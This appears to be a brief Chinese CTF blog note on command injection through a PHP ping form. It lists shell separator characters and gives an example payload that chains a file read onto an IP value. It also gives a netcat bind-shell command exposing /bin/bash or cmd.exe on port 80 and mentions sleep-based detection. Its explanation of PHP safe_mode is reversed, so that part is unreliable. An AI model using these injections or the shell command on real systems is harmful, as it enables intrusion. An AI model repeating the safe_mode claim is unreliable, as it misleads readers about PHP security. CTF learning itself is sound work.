php ping 命令注入,CTF关于ping命令注入问题

题目样式

对于看到ping或者ping命令却没有弄waf时就要想到命令注入。

具体注入方法

看到ping命令就可以利用截断来执行新的命令。

首先测试所有的截断符号:

‘$’

‘;’

‘|’

‘-’

‘(’

‘)’

‘反引号’

‘||’

‘&&’

‘&’

‘}’

‘{’

'%0a’可以当作空格来用;

利用截断符号配合普通命令简单问题基本就出来;

例如:ip=127.0.0.1;cat /home/flag.txt

简单的flag就出来了,也可以配合其他的进行;

命令注入原因

系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。

方法

此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On

的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 –with-exec-dir选项来指定,默认是/usr/local/php /bin。

1:检测一阶命令注入的最佳方式是尝试执行一个sleep命令

2:在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。

3:如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。

另外还有很多方法来进行命令注入。等我详细阅读之后继续整理

你可能感兴趣的:(php,ping,命令注入)